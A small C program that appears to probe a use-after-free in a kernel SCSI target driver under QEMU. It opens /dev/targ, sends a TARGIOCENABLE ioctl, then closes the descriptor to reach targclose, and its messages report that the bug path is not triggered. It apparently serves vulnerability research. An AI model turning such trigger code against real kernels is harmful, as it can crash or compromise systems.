#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <string.h>
#include <errno.h>

#define TARGIOCENABLE   _IOW('C', 0, struct ioc_enable_lun)
#define TARGIOCDISABLE  _IO('C', 1)
struct ioc_enable_lun { int path_id; int target_id; int lun_id; int grp6_len; int grp7_len; };

int main(void) {
    int fd = open("/dev/targ", O_RDWR);
    if (fd < 0) { perror("open /dev/targ"); return 1; }
    fprintf(stderr, "[+] opened /dev/targ fd=%d\n", fd);
    
    struct ioc_enable_lun lun;
    memset(&lun, 0, sizeof(lun));
    lun.path_id = 1;  /* scbus1 = ata1 = QEMU DVD-ROM */
    lun.target_id = 0;
    lun.lun_id = 0;
    
    int rc = ioctl(fd, TARGIOCENABLE, &lun);
    if (rc != 0)
        fprintf(stderr, "[!] TARGIOCENABLE failed (expected: ATA has no target mode): %s\n", strerror(errno));
    else
        fprintf(stderr, "[+] TARGIOCENABLE ok (unexpected!)\n");
    
    fprintf(stderr, "[+] closing fd=%d (targclose will run)\n", fd);
    close(fd);
    fprintf(stderr, "[+] close returned without panic => UAF path not triggered (no target HBA)\n");
    return 0;
}